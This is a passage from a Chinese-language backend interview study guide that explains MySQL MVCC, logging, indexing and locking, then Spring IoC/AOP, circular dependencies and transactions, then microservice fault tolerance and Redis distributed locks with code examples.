MyBatis-Plus MyBatis-Plus MyBatis 的增强工具,不用写简单 SQL 03/09

5.2 核心概念详解

MVCC(Multi-Version Concurrency Control)—— MySQL 高并发的秘密

Multi(多)Version(版本)Concurrency(并发)Control(控制) 一句话:同一行数据保留多个历史版本,读的时候读“当时的版本”,读不加锁。

它解决什么问题:

没有 MVCC 时:
  事务 A 在读一行数据 → 加读锁
  事务 B 要改这行 → 得等 A 读完(阻塞)
  → 【读写互相阻塞,并发度低】

有 MVCC:
  事务 A 读的是"版本 1"(快照)
  事务 B 同时改成"版本 2"
  → 两者互不干扰,【读写不冲突】✅

它是怎么实现的(三件套):

① 隐藏字段(每行数据都有)
   ├─ DB_TRX_ID    :最后修改这行的事务 ID
   ├─ DB_ROLL_PTR  :回滚指针,指向 undo log 里的上一个版本
   └─ DB_ROW_ID    :隐藏主键

② undo log(版本链)
   当前行:  name="李四", trx_id=102, roll_ptr →┐
                                              ▼
   undo:    name="张三", trx_id=100, roll_ptr →┐
                                              ▼
   undo:    name="王五", trx_id=98,  roll_ptr → null
   
   → 一行数据的所有历史版本串成一条【版本链】

③ ReadView(读视图)
   事务在"快照读"时生成,记录:
   ├─ 当前活跃(未提交)的事务 ID 列表
   ├─ 最小活跃事务 ID
   └─ 下一个待分配的事务 ID
   
   判断规则:某个版本对当前事务可见吗?
   ├─ 版本的事务 ID < 最小活跃 ID → 已提交,【可见】
   ├─ 版本的事务 ID 在活跃列表里 → 未提交,【不可见】
   └─ 否则沿着版本链往前找,直到找到可见的版本

关键区分(面试必答):

快照读(Snapshot Read) 当前读(Current Read)
是什么 普通的 SELECT SELECT ... FOR UPDATE、UPDATE、DELETE、INSERT
读哪个版本 历史版本(ReadView 决定) 最新版本
加锁吗 ❌ 不加锁(MVCC 的功劳) ✅ 加锁(行锁 + 间隙锁)
会不会幻读 ❌ 不会(MVCC 解决) ✅ 会(要靠 Next-Key Lock 解决)

面试高频追问:“MVCC 解决了幻读吗?”

分情况答(这是标准答案):

  • 快照读(普通 SELECT):解决了。因为读的是事务开始时的快照,别人新插入的行不在快照里。
  • 当前读(SELECT FOR UPDATE):没解决,需要靠 Next-Key Lock(行锁+间隙锁) 来阻止别人插入。

所以准确说法是:InnoDB 在 REPEATABLE READ 下,通过 MVCC + Next-Key Lock jointly 解决了幻读。


WAL(Write-Ahead Logging)与 redo / undo / binlog

WAL 是什么:

Write(写)Ahead(提前)Logging(日志):先写日志,再改数据。

为什么:直接改数据页是随机磁盘 IO(慢),写日志是顺序 IO(快)。 而且崩溃后,可以根据日志恢复。

三个日志的区别(面试必答,最容易混):

redo log undo log binlog
属于谁 InnoDB 引擎层 InnoDB 引擎层 MySQL Server 层(所有引擎都能用)
记什么 物理日志:“在哪个数据页改了什么” 逻辑日志:“改之前的值是什么” 逻辑日志:SQL 语句或行变更
干什么用 崩溃恢复(crash-safe) 回滚 + MVCC 版本链 主从复制 + 数据恢复
写满怎么办 循环写(固定大小,覆盖) 随事务结束清理 追加写(可无限增长)

为什么要有 redo log 和 binlog 两个(两阶段提交):

场景:执行 UPDATE t SET c = 1 WHERE id = 2

如果不协调:
  ① 先写 redo log,后写 binlog
     → redo 写完宕机,binlog 没写
     → 崩溃恢复后数据库 c=1,但从库没同步 → 【主从不一致】

  ② 先写 binlog,后写 redo log
     → binlog 写完宕机,redo 没写
     → 崩溃恢复后数据库 c=0(没改),但从库同步成了 c=1 → 【主从不一致】

解法:两阶段提交(内部 XA)
  ① redo log prepare(标记为"准备提交")
  ② 写 binlog
  ③ redo log commit
  
  崩溃恢复时检查:
  ├─ redo 是 prepare 且 binlog 完整 → 提交
  └─ redo 是 prepare 但 binlog 不完整 → 回滚

生活类比:

  • redo log:游戏存档(崩溃后读档恢复到最新进度)
  • undo log:撤销记录(按 Ctrl+Z 回到上一步,也是别人看“历史版本”的依据)
  • binlog:操作录像(可以拿去给别人重放一遍,比如从库)

B+Tree 与 回表 / 覆盖索引 / 索引下推

为什么是 B+Tree 而不是二叉树/BTree:

二叉搜索树:可能退化成链表(O(n))
红黑树    :树太高(100 万数据 → 20 层 → 20 次磁盘 IO)
BTree     :每个节点存数据 → 一页能放的节点少 → 树还是高

B+Tree 的优势:
  ✅ 非叶子节点【只存索引,不存数据】→ 一页(16KB)能放更多索引 → 【树更矮】
  ✅ 叶子节点用【链表相连】→ 范围查询极快(顺着链表扫就行)
  ✅ 树高通常只有 3~4 层 → 只需 3~4 次磁盘 IO 就能找到数据
  
  一层:16KB / (8B 主键 + 6B 指针) ≈ 1170 个索引项
  三层:1170 × 1170 × 16 行/页 ≈ 2000 万行数据
  → 【3 次 IO 就能在 2000 万行里找到一条数据】

回表(Bookmark Lookup):

表:user(id 主键, name 普通索引, age)
SQL:SELECT * FROM user WHERE name = '张三';

执行过程:
  ① 在 name 的二级索引树里找到 '张三' → 得到主键 id = 100
  ② 拿着 id=100 回到【主键索引树】再查一次 → 拿到 age 等所有字段
  
第 ② 步就叫【回表】——多了一次索引树查询,性能损耗

覆盖索引(Covering Index)—— 避免回表:

如果索引里就包含了要查的所有字段,就不用回表了:

SQL:SELECT id, name FROM user WHERE name = '张三';
索引:INDEX idx_name(name)  ← InnoDB 二级索引的叶子节点本来就存了主键 id

执行:在 idx_name 里找到 '张三',直接就有 id 和 name
     → 【不需要回表】✅
     → EXPLAIN 的 Extra 列会显示 "Using index"

优化技巧:把常查的字段做成【联合索引】,让查询被索引覆盖
  SQL:SELECT id, name, age FROM user WHERE name = '张三';
  索引:INDEX idx_name_age(name, age)  ← 加上 age 就能覆盖

索引下推(ICP,Index Condition Pushdown):

索引:INDEX idx_name_age(name, age)
SQL:SELECT * FROM user WHERE name LIKE '张%' AND age = 20;

没有 ICP(MySQL 5.6 之前):
  ① 存储引擎按 name LIKE '张%' 找到所有匹配的主键(比如 1000 个)
  ② 回表 1000 次,把完整行取出来
  ③ Server 层再过滤 age = 20
  → 【回表 1000 次】❌

有 ICP:
  ① 存储引擎找到 name LIKE '张%' 的记录
  ② 【直接在引擎层判断 age = 20】,过滤掉不匹配的
  ③ 只对剩下的(比如 10 个)回表
  → 【回表 10 次】✅ 性能提升 100 倍

EXPLAIN 的 Extra 显示 "Using index condition"

最左前缀原则:

索引:INDEX idx_abc(a, b, c)

以下能用到索引:
  WHERE a = 1                    ✅ 用 a
  WHERE a = 1 AND b = 2          ✅ 用 a, b
  WHERE a = 1 AND b = 2 AND c=3  ✅ 用 a, b, c
  WHERE a = 1 AND c = 3          ⚠️ 只用 a(跳过 b,c 用不上)

以下用不到索引:
  WHERE b = 2                    ❌ 没有最左边的 a
  WHERE c = 3                    ❌
  WHERE b = 2 AND c = 3          ❌

记忆:就像查字典,必须【先按首字母找】,不能直接按第二个字母找

脏读 / 不可重复读 / 幻读 —— 隔离级别要解决的三个问题

问题 一句话 例子
脏读 读到了别人未提交的修改 你看到余额变成 900,但那人还没提交,最后回滚了 → 你看的 900 是“假数据”
不可重复读 同一行,两次读结果不同 第一次读 age=20,别人改成 21 并提交,第二次读 age=21
幻读 范围查询,行数变了 第一次查“年龄>18 的有 10 人”,别人插入 1 个,第二次查变成 11 人

三种问题的严重程度:

脏读 > 不可重复读 > 幻读
(脏读最严重,读到根本不存在的数据)

四种隔离级别与它们的关系:

隔离级别 脏读 不可重复读 幻读 实现
READ UNCOMMITTED(读未提交) ❌ 有 ❌ 有 ❌ 有 啥都不做
READ COMMITTED(读已提交) ✅ 无 ❌ 有 ❌ 有 每次 SELECT 生成新 ReadView
REPEATABLE READ(可重复读)
MySQL 默认
✅ 无 ✅ 无 ✅ 基本无* 事务开始时生成一次 ReadView
SERIALIZABLE(串行化) ✅ 无 ✅ 无 ✅ 无 全部加锁,串行执行

*注:MySQL InnoDB 在 REPEATABLE READ 下通过 MVCC(快照读)+ Next-Key Lock(当前读)基本解决了幻读。

为什么 MySQL 默认用 REPEATABLE READ 而 Oracle 用 READ COMMITTED:

历史原因:MySQL 早期的 binlog 只有 STATEMENT 格式, 在 READ COMMITTED 下会有主从复制不一致的问题, 所以 MySQL 默认 RR。后来有了 ROW 格式的 binlog,这个问题不存在了, 但默认值保留了下来。现在很多公司(包括阿里)会改成 RC + ROW, 因为 RC 的锁粒度更小、并发度更高。


间隙锁 / Next-Key Lock —— 解决幻读的武器

数据:id = 1, 5, 10, 15, 20

【记录锁 Record Lock】:锁住单条记录
  SELECT * FROM t WHERE id = 5 FOR UPDATE;
  → 只锁住 id=5 这一行

【间隙锁 Gap Lock】:锁住记录之间的"空隙"(不含记录本身)
  SELECT * FROM t WHERE id BETWEEN 5 AND 10 FOR UPDATE;
  → 锁住 (5, 10) 这个开区间,别人【不能插入】id=6,7,8,9
  → 但 id=5 和 id=10 这两行本身没被锁

【Next-Key Lock 临键锁】= 记录锁 + 间隙锁(左开右闭区间)
  InnoDB 默认的行锁算法
  → 锁住 (5, 10],即间隙 + id=10 这条记录
  → 既不能插入 id=6~9,也不能修改 id=10

为什么要间隙锁:

幻读的本质是“别的事务插入了新行”。 行锁只能锁住已存在的行,锁不住还不存在的行。 所以要用间隙锁,把“可能插入的位置”也锁住。

面试要点:

间隙锁是 RR 隔离级别特有的(RC 下没有,除了外键和唯一索引的某些场景)。 间隙锁的代价是并发度降低 + 更容易死锁,这也是很多公司改用 RC 的原因。


5.3 第五章小结

【一条 UPDATE 语句的完整流程】(面试综合题)

UPDATE t SET name='李四' WHERE id=1;

① 连接器:验证权限
② 分析器:语法分析
③ 优化器:选择索引
④ 执行器 → InnoDB 引擎:
   ├─ 查 buffer pool(内存),没有就从磁盘加载
   ├─ 写 undo log(记录旧值,用于回滚 + MVCC)
   ├─ 修改 buffer pool 里的数据页(内存)
   ├─ 写 redo log(prepare 状态)
   ├─ 写 binlog
   ├─ redo log 改为 commit 状态(两阶段提交完成)
   └─ 后台线程异步刷脏页到磁盘

关键点:
  * 改的是内存(buffer pool),不是直接改磁盘 → 快
  * 先写日志(WAL)→ 崩溃能恢复
  * redo + binlog 两阶段提交 → 保证主从一致

深入阅读:03 号文档(数据库与缓存)


第六章:Spring 与开发框架

这一章对应 02 号文档(《开发框架》)。 IoC、AOP、三级缓存、自动配置、事务传播 是 Spring 面试的核心词汇。

6.1 本章速查表

缩写 / 术语 英文全称 一句话白话 在哪篇
IoC Inversion of Control 控制反转:对象的创建权交给框架,你不再自己 new 01/02/08/10
DI Dependency Injection 依赖注入:你需要什么对象,框架自动塞给你 02
AOP Aspect Oriented Programming 面向切面:把日志、事务这类横切逻辑抽出来统一处理 01/02/08/10
Bean Bean(豆子) Spring 容器管理的对象,Spring 里的一切都是 Bean 02/03/09/10
容器 Container / ApplicationContext Spring 的“大盘子”,所有 Bean 都装在里面 02/07/08/09/10
自动配置 Auto Configuration Spring Boot 的“约定大于配置”:根据你引入的 jar 自动配好 02
循环依赖 Circular Dependency A 依赖 B,B 又依赖 A,形成环 02
三级缓存 Three-Level Cache Spring 解决循环依赖的三个 Map 02
事务传播 Propagation 一个带事务的方法调用另一个带事务的方法,事务怎么处理 02/03/07
隔离级别 Isolation Level 事务之间的隔离程度(见第五章 5.2 节) 02/03/07
MVC Model-View-Controller 模型-视图-控制器,Web 分层架构 02/09
ORM Object Relational Mapping 对象关系映射:数据库表和 Java 对象自动互转 03/09
DAO Data Access Object 数据访问层,专门写数据库操作的类 02/03
DTO Data Transfer Object 数据传输对象,接口之间传数据用的 02/03/09
VO View Object 视图对象,返回给前端的数据结构 02/09
PO / Entity Persistent Object 持久化对象,和数据库表一一对应 02/03
BO Business Object 业务对象,封装业务逻辑 02
POJO Plain Old Java Object 普通 Java 对象,不继承任何框架类的干净对象 02
SPI Service Provider Interface 服务发现机制:让框架能找到你的实现类 02
JPA Java Persistence API Java 持久层规范,Hibernate 是它的实现 03
@Component 系列 — @Service/@Repository/@Controller 都是它的特化 02
工作流 Workflow 把“一件事的审批步骤”画成流程图,交给引擎自动推进 —— 改流程=改图,不用改代码 14
BPM Business Process Management 业务流程管理,一门“怎么把公司流程管好”的方法论(是想法,不是软件) 14
BPMN Business Process Model and Notation 画流程图的统一符号标准,让流程图能被程序读懂(BPM 的“图纸规范”) 14
工作流引擎 Process Engine 读懂流程图、并按图把任务一步步推给对应人的运行时程序 14
Activiti / Flowable / Camunda — 三个同源的 Java 工作流引擎(2016 年核心团队出走 fork 成三支),API 与表结构高度相似 14
流程定义 ProcessDefinition 画好的那张“图纸”本身(等于 Java 的 Class),可有多个版本 14
流程实例 ProcessInstance 按图纸跑起来的“一次具体审批”(等于 Class new 出来的对象) 14
执行流 Execution 流程实例里的“当前指针”,并行分支时一个实例会有多个 14
用户任务 User Task 需要人点“同意/拒绝”的节点(区别于机器自动执行的 Service Task) 14
网关 Gateway 流程图里的“岔路口”:排他 X=只走一条、并行 +=全走、包容 O=满足的都走 14
流程变量 Process Variable 跟着流程实例走的数据包,网关条件和审批人表达式都靠它(★ 建议只存 String/数字) 14
会签 Multi-instance(多实例) 一个节点要多个人都审批,可配“全部通过”或“比例通过”才继续 14
加签 Add Sign 审批中途临时“再加一个人来审”(前加签 / 后加签) 14
转办 / 委派 Transfer / Delegate 转办=任务换主人一去不回;委派=临时借给别人,办完回到我手上确认 14
驳回 / 撤回 Reject / Withdraw 驳回=审批不通过退回上一节点;撤回=发起人主动收回未完成的审批 14
边界事件 Boundary Event 挂在任务边上的“监听器”,比如 72 小时未处理就自动走另一条路 14
监听器 Listener 流程走到某个点时自动回调你的代码(★ 在引擎事务内同步执行,抛异常会回滚流程) 14
候选组 Candidate Group 任务不指定某个人而是给一个角色/部门,组内谁都能领(需 claim 签收) 14

6.2 核心概念详解

IoC 与 DI —— 这两个词经常一起出现,但不是一回事

IoC(控制反转) DI(依赖注入)
是什么 一种思想:把对象的创建控制权交给外部 一种实现手段:通过注入的方式把依赖传进去
白话 “别自己 new 了,让别人给你” “你需要什么,我直接塞给你”
关系 目标 实现 IoC 的具体方式

对比传统写法:

// 传统:自己 new,自己管理(控制权在自己手里)
public class OrderService {
    private UserDao userDao = new UserDaoImpl();  // 硬编码,耦合
}

// IoC/DI:只声明"我需要什么",Spring 负责创建并注入
@Service
public class OrderService {
    @Autowired
    private UserDao userDao;  // Spring 自动注入
}

为什么要这样(三大好处):

  1. 解耦:换实现类不用改代码(换 UserDaoImpl 为 UserDaoNewImpl,只改配置)
  2. 好测试:可以注入 mock 对象
  3. 统一管理:对象的生命周期(单例/多例)、初始化、销毁都由容器管

生活类比:

  • 传统方式:你自己买菜、洗菜、切菜、炒菜(全程自己控制)
  • IoC:你去餐厅,点菜就行,厨房(容器)负责做,做好了端给你(DI)
  • 你不再关心“菜从哪来、怎么做的”,只关心“我要吃这个”

AOP(Aspect Oriented Programming,面向切面编程)

一句话:把散落在各处的重复逻辑(日志、事务、鉴权)抽出来,统一“切”进业务方法。

为什么需要它:

没有 AOP:每个方法都要写一遍
  public void createOrder() {
      log.info("方法开始");       ← 重复
      事务.begin();              ← 重复
      ... 业务逻辑 ...
      事务.commit();             ← 重复
      log.info("方法结束");       ← 重复
  }
  // 100 个方法就要写 100 遍!

有 AOP:
  public void createOrder() {
      ... 只写业务逻辑 ...
  }
  // 日志、事务由切面统一处理,业务代码干干净净

核心术语(面试常考,必须能说清):

术语 含义 白话
切面 Aspect 横切逻辑的模块化 “日志”这个功能整体
连接点 Join Point 可以被增强的地方 所有方法(理论上都能增强)
切点 Pointcut 实际被增强的那些点 “我只要 Service 层的所有方法”
通知 Advice 增强的具体逻辑 + 时机 “在方法前打日志”
织入 Weaving 把切面应用到目标对象的过程 把日志代码“缝”进业务方法
代理 Proxy 织入后生成的新对象 你拿到的是包装过的对象

五种通知的执行顺序(面试高频,很多人答错):

正常情况:
  @Around(前半部分)
    → @Before
      → 目标方法执行
    → @AfterReturning(方法正常返回)
  @Around(后半部分)
@After(无论成功失败都会执行)

异常情况:
  @Around(前半部分)
    → @Before
      → 目标方法抛异常
    → @AfterThrowing(捕获异常)
  @Around(后半部分,如果没吞异常就不会执行)
@After(仍然执行)

口诀:Around 包住所有,After 最后执行

底层实现(JDK 动态代理 vs CGLIB):

JDK 动态代理 CGLIB
要求 目标类必须实现接口 可以没有接口,直接继承
原理 生成接口的代理实现类 生成目标类的子类
限制 只能代理接口方法 不能代理 final 类/方法
Spring 选谁 有接口就用 没接口就用(Spring Boot 默认全用 CGLIB)

循环依赖与三级缓存 —— Spring 的高频难题

什么是循环依赖:

@Service
public class A {
    @Autowired
    private B b;      // A 依赖 B
}
@Service
public class B {
    @Autowired
    private A a;      // B 又依赖 A
}
// 创建 A → 需要 B → 创建 B → 需要 A → ... 死循环

Spring 怎么解决(三级缓存):

三个 Map:

  一级缓存 singletonObjects
    └─ 存放【完全初始化好】的 Bean(能用)

  二级缓存 earlySingletonObjects
    └─ 存放【提前暴露】的 Bean(还没初始化完,但已经实例化)

  三级缓存 singletonFactories
    └─ 存放 Bean 的【工厂对象】(能生成早期引用,处理 AOP 代理)

创建 A 的完整过程(面试常让口述):

① 创建 A:
   - 实例化 A(new 出来,属性还是空)
   - 把 A 的【工厂】放进三级缓存
   - 给 A 的属性赋值 → 发现需要 B

② 创建 B:
   - 实例化 B
   - 把 B 的工厂放进三级缓存
   - 给 B 的属性赋值 → 发现需要 A
   - 【去缓存里找 A】:
       ├─ 一级缓存:没有(A 还没完成)
       ├─ 二级缓存:没有
       └─ 三级缓存:找到了!通过工厂拿到 A 的早期引用
   - 把 A 的早期引用注入给 B
   - B 初始化完成 → B 进一级缓存

③ 回到 A:
   - 拿到已经创建好的 B,注入给 A
   - A 初始化完成 → A 进一级缓存
   
完成!循环解开 ✅

为什么必须是三级,两级不行吗(加分题):

关键在于 AOP 代理。 如果 A 需要被代理(比如 A 上有 @Transactional),那么注入给 B 的应该是代理对象,不是原始对象。 三级缓存存的是工厂(ObjectFactory),它能在需要时决定“是返回原始对象还是代理对象”。 如果只有两级缓存,就必须在实例化后立刻创建代理,破坏了 Bean 的生命周期设计。

哪些情况循环依赖解决不了(面试必答):

场景 能解决吗 原因
字段注入(@Autowired 在字段上) ✅ 能 Spring 的默认支持
setter 注入 ✅ 能 同上
构造器注入 ❌ 不能 构造器调用时 Bean 还没实例化,无法提前暴露
prototype 作用域 ❌ 不能 prototype 不进缓存,每次都新建
@Async 导致的循环依赖 ❌ 不能 @Async 的代理创建时机特殊

面试怎么说:

“Spring 用三级缓存解决循环依赖。核心是’提前暴露’:Bean 实例化后虽然还没初始化完, 但先把它的工厂放进三级缓存,让依赖它的 Bean 能拿到早期引用。 三级缓存存工厂是为了处理 AOP 代理——需要时才决定返回原始对象还是代理对象。 但构造器注入和 prototype 的循环依赖解决不了,会直接报错。”


自动配置(Auto Configuration)—— Spring Boot 的“魔法”

一句话:你引入什么 jar,Spring Boot 就自动给你配好相应的 Bean,不用写 XML。

它怎么知道该配什么:

① 启动类上的 @SpringBootApplication
   └─ 包含 @EnableAutoConfiguration

② @EnableAutoConfiguration 会加载
   META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports
   (Spring Boot 2.7+ 的新格式,旧版是 META-INF/spring.factories)
   这个文件里列了【所有可能的自动配置类】(100+ 个)

③ 每个自动配置类都有【条件注解】,只有满足条件才生效
   例:RedisAutoConfiguration
       @ConditionalOnClass(RedisOperations.class)  ← classpath 里有 Redis 相关类才生效
       @ConditionalOnMissingBean(RedisTemplate.class) ← 你自己没配 RedisTemplate 我才配
       public RedisTemplate redisTemplate() { ... }

④ 所以:你引入 spring-boot-starter-data-redis
   → classpath 里有 Redis 的类
   → 条件满足 → 自动给你配好 RedisTemplate
   → 你直接 @Autowired 就能用

核心机制:条件注解(面试必答):

注解 作用
@ConditionalOnClass classpath 里有某个类才生效
@ConditionalOnMissingBean 容器里没有这个 Bean 才生效(让用户能覆盖默认配置)
@ConditionalOnProperty 配置文件里有某个配置才生效
@ConditionalOnBean 容器里有某个 Bean 才生效
@ConditionalOnWebApplication 是 Web 应用才生效

@ConditionalOnMissingBean 为什么最重要:

它体现了 Spring Boot 的设计哲学:“用户没配,我才配;用户配了,听用户的”。 这就是所谓的“约定大于配置”——我给你一个合理的默认值,但永远允许你覆盖。

面试怎么说:

“自动配置的核心是条件注解。Spring Boot 启动时会加载所有自动配置类, 但每个类上都带条件(比如 classpath 里有没有对应的类、用户自己有没有配过), 只有条件都满足才生效。所以你引入 starter 就等于告诉 Boot ‘我要用这个功能’, 它就自动配好。如果你想自定义,只要自己声明一个同类型的 Bean, @ConditionalOnMissingBean 会让默认配置自动让位。”


事务传播行为(Propagation)—— 七个里只需记住三个

一句话:一个事务方法调用另一个事务方法时,第二个方法用谁的事务?

七个传播行为,按重要性:

传播行为 含义 白话 什么时候用
REQUIRED(默认) 有事务就加入,没有就新建 “跟着走” 99% 的场景
REQUIRES_NEW 挂起当前事务,新建一个独立事务 “我单干” 操作日志(主业务回滚,日志也要记下来)
NESTED 嵌套事务,外层回滚内层也回滚,内层回滚不影响外层 “分支” 少见
SUPPORTS 有就用,没有就不用 “随缘” 查询方法
NOT_SUPPORTED 不用事务,有就挂起 “别用事务” 特殊优化
NEVER 不能用事务,有就报错 “禁止” 极罕见
MANDATORY 必须有事务,没有就报错 “必须有” 极罕见

REQUIRES_NEW 的经典场景(面试举例):

@Service
public class OrderService {
    @Transactional
    public void createOrder() {
        // 主业务
        orderMapper.insert(order);
        
        try {
            logService.recordLog("创建订单");  // REQUIRES_NEW
        } catch (Exception e) {
            // 日志失败不能影响主业务
        }
        
        // 主业务失败 → 回滚订单
        // 但【日志已经用独立事务提交了,不会被回滚】✅
    }
}

@Service
public class LogService {
    @Transactional(propagation = Propagation.REQUIRES_NEW)
    public void recordLog(String msg) { ... }
}

面试高频:“REQUIRED 和 REQUIRES_NEW 的区别?”

“REQUIRED 是加入当前事务,大家一起成功一起失败。 REQUIRES_NEW 是挂起当前事务、新开一个,两个事务互不影响—— 外层回滚不影响内层,内层回滚也不影响外层。 典型场景是操作日志:主业务失败了要回滚,但’尝试过这个操作’的日志必须留下来。”


第七章:微服务与分布式中间件

这一章对应 02、07、08 号文档中的微服务部分。 RPC、熔断、降级、限流 是微服务的核心词汇,也是面试必考。

7.1 本章速查表

缩写 / 术语 英文全称 一句话白话 在哪篇
RPC Remote Procedure Call 远程过程调用:像调用本地方法一样调用远程服务 02/07/08
gRPC Google RPC Google 出的 RPC 框架,用 HTTP/2 + Protobuf,性能好 02/07
Dubbo Dubbo 阿里开源的 RPC 框架(后归 Apache) 02/07
注册中心 Service Registry 服务的“电话簿”,记录哪个服务在哪台机器 02/07/08
配置中心 Config Center 集中管理配置,改配置不用重启 02/07
Nacos Naming and Configuration Service 阿里开源的注册中心 + 配置中心二合一 01/02/07
限流 Rate Limiting 限制请求速率,超出的拒绝(保护自己) 01~10 全有
熔断 Circuit Breaking 下游挂了就“断闸”,直接快速失败,不再调用 02/08/10
降级 Degradation / Fallback 保核心、弃次要,返回兜底数据 01/02/03/04/06/08/10
隔离 Bulkhead(舱壁隔离) 不同业务用不同线程池,互不拖累 02/08
Sentinel Sentinel 阿里开源的流量治理组件(限流/熔断/降级) 02/03/07/08/10
Gateway API Gateway 网关,所有请求的统一入口(鉴权/路由/限流) 02/08
负载均衡 Load Balancing 把请求分摊到多台机器 02/04/05/07/10
灰度发布 Canary Release / Gray Release 先放 1% 流量给新版本,没问题再全量 02/07
分布式锁 Distributed Lock 跨 JVM 的锁,保证多个实例间互斥 02/03/04/06/10
Redisson Redisson Redis 的 Java 客户端,封装了分布式锁等高级功能 02/03/04/06/10
看门狗 Watchdog Redisson 的锁自动续期机制 03/04
服务雪崩 Service Avalanche 一个服务挂了,拖垮整条调用链 02/08

7.2 核心概念详解

RPC(Remote Procedure Call,远程过程调用)

Remote(远程)Procedure(过程/方法)Call(调用) 一句话:调用另一台机器上的方法,但写起来像调用本地方法一样。

它隐藏了什么:

// 你写的代码(像本地调用)
User user = userService.getUserById(1001);

// 实际上 RPC 框架帮你做了:
//   ① 找到提供 UserService 的机器在哪(服务发现)
//   ② 把方法名、参数序列化成字节流
//   ③ 通过网络发送过去
//   ④ 远端反序列化,执行真正的方法
//   ⑤ 把结果序列化回来
//   ⑥ 你拿到结果,全程像没发生过网络调用一样

RPC vs HTTP(面试常问):

RPC(如 Dubbo/gRPC) HTTP(如 REST/OpenFeign)
协议 自定义协议 / HTTP2 HTTP 1.1
序列化 二进制(Protobuf/Hessian),快 JSON 文本,慢但可读
性能 高(连接复用、二进制) 中
跨语言 gRPC 好,Dubbo 一般 天然跨语言
调试 麻烦(二进制看不懂) 简单(curl 就能调)
适合 内部服务高频调用 对外接口、跨团队协作

RPC 框架的三大组件:

① 服务注册与发现:服务提供者启动时注册地址,消费者去查
② 序列化/反序列化:对象 ↔ 字节流
③ 网络通信:Netty(Dubbo)、HTTP/2(gRPC)

熔断 / 降级 / 限流 —— 微服务容错三剑客

这三个词经常一起出现,但完全不是一回事(面试高频,很多人混着说)。

限流
Rate Limiting
熔断
Circuit Breaking
降级
Degradation
保护谁 保护自己 保护调用方(不被下游拖死) 保护核心业务
触发条件 请求量超过阈值 下游错误率过高 系统压力大 / 下游不可用
怎么做 超出的请求直接拒绝 直接返回错误,不再调用下游 返回兜底数据(默认值/缓存/友好提示)
关系 预防 事后止损 兜底方案

记忆口诀:

限流 = 门口排队(控制进来多少)
熔断 = 拉闸断电(发现危险就断开)
降级 = 开备用灯(主灯坏了用备用的)

熔断的三个状态(面试必答)

┌─────────┐  错误率达到阈值   ┌─────────┐
│  Closed │ ──────────────▶ │  Open   │
│  关闭    │                  │  打开    │
│ (正常调) │ ◀────────────── │(直接失败)│
└─────────┘   过了熔断时长     └─────────┘
     ▲                             │
     │                             │ 放过少量请求试探
     │                             ▼
     │                        ┌──────────────┐
     │   试探成功,恢复        │ Half-Open    │
     └───────────────────────│  半开         │
                             │(放部分请求试) │
                             └──────────────┘

Closed    :正常调用,统计错误率
Open      :错误率超标 → 断闸,所有请求直接失败(不调用下游)
Half-Open :断闸一段时间后,放少量请求试探
            ├─ 成功 → 恢复 Closed
            └─ 失败 → 回到 Open,继续断闸

生活类比: 家里的保险丝(熔断器):

  • 正常:电流正常,保险丝通着(Closed)
  • 短路:电流过大 → 保险丝烧断(Open),保护电器不被烧坏
  • 半开:你换了新保险丝,先开一个小灯试试(Half-Open)
    • 亮了 → 恢复正常
    • 又烧了 → 说明还有问题,继续断

四种限流算法(面试常考)

算法 原理 优点 缺点
计数器(固定窗口) 每分钟最多 100 个 简单 临界问题:59s 和 61s 各 100 个,实际 2 秒内 200 个
滑动窗口 把时间切成小格,统计窗口内的总数 解决临界问题 稍复杂
漏桶 请求进桶,桶底以固定速率漏水(处理) 流出速率恒定,绝对平滑 无法应对突发流量
令牌桶 桶里以固定速率放令牌,请求要拿令牌 允许突发(桶里有令牌就能拿) 稍复杂

面试高频:“漏桶和令牌桶的区别?”

“漏桶是’控制流出速率’,不管水怎么进来,出去的速度恒定——适合保护下游。 令牌桶是’控制流入速率’,允许一定程度的突发——适合保护自己同时兼顾体验。 Sentinel/Guava RateLimiter 用的是令牌桶。”

关键区别记忆:

漏桶   = 出水恒定 → 【削峰】,不管你多急,我按我的节奏来
令牌桶 = 取牌才能过 → 【允许突发】,攒下的令牌可以一次用完

分布式锁 —— 以及 Redisson 的看门狗

一句话:跨 JVM 的锁,让多台机器上的线程也能互斥。

为什么 synchronized 不够:

单机:synchronized / ReentrantLock 只锁当前 JVM 内的线程

分布式(3 台机器):
  机器 A 的线程 1  ┐
  机器 B 的线程 2  ├── 同时抢同一把锁 → synchronized 管不着!
  机器 C 的线程 3  ┘
  → 需要一个【三方存储】来当"锁的裁判":Redis / ZooKeeper / 数据库

Redis 实现分布式锁的演进(面试常考演进过程):

# 版本 1:SETNX(有死锁问题)
SETNX lock_key 1          # 抢锁
EXPIRE lock_key 10        # 设过期
# ❌ 问题:SETNX 后宕机,没来得及 EXPIRE → 锁永不释放 → 死锁

# 版本 2:SET 带 NX 和 EX(原子)
SET lock_key value NX EX 10
# ✅ 原子操作,解决死锁
# ❌ 问题:业务执行 15 秒 > 锁过期 10 秒 → 锁提前释放 → 别人进来 → 数据错乱

# 版本 3:加看门狗自动续期(Redisson)
# ✅ 后台线程每 10 秒(默认 1/3 TTL)检查,业务还在跑就续期到 30 秒

# 版本 4:Redisson 完整方案
RLock lock = redisson.getLock("order:" + orderId);
try {
    if (lock.tryLock(10, 30, TimeUnit.SECONDS)) {  // 等10秒,锁30秒
        // 业务逻辑(Redisson 自动续期)
    }
} finally {
    lock.unlock();  // 必须在 finally 里释放
}

Redisson 看门狗(Watchdog)机制:

① 加锁成功,默认 TTL = 30 秒
② 启动一个后台定时任务,每 10 秒(30/3)执行一次:
   - 检查业务线程还持有锁吗?
   - 是 → 把 TTL 重置回 30 秒(续期)
   - 否 → 不续期,锁自然过期
③ 业务完成,unlock() 时取消定时任务

效果:业务执行多久,锁就持有多久,【不会提前释放,也不会死锁】

分布式锁的三大坑(面试必答):

坑 说明 解法
① 锁误删 A 的锁过期了,B 拿到锁,A 执行完把 B 的锁删了 value 存唯一标识(UUID+线程ID),删除时用 Lua 脚本先比对再删
② 业务超时锁提前释放 业务 15 秒,锁 10 秒过期 看门狗自动续期
③ Redis 主从切换丢锁 主节点加锁成功还没同步就挂了,从节点没有锁 Redlock(有争议)或用 ZooKeeper/etcd

面试怎么说:

“我们用 Redisson 的 RLock。它底层是 SET key value NX EX 的 Lua 脚本保证原子性, value 用 UUID+线程ID 防止误删别人的锁,删除时用 Lua 先比对再删。 另外它有看门狗机制:默认 30 秒 TTL,后台线程每 10 秒检查一次, 业务还在跑就自动续期,解决了’业务没跑完锁就过期’的问题。 释放必须放在 finally 里。”


服务雪崩 —— 微服务最怕的连锁反应

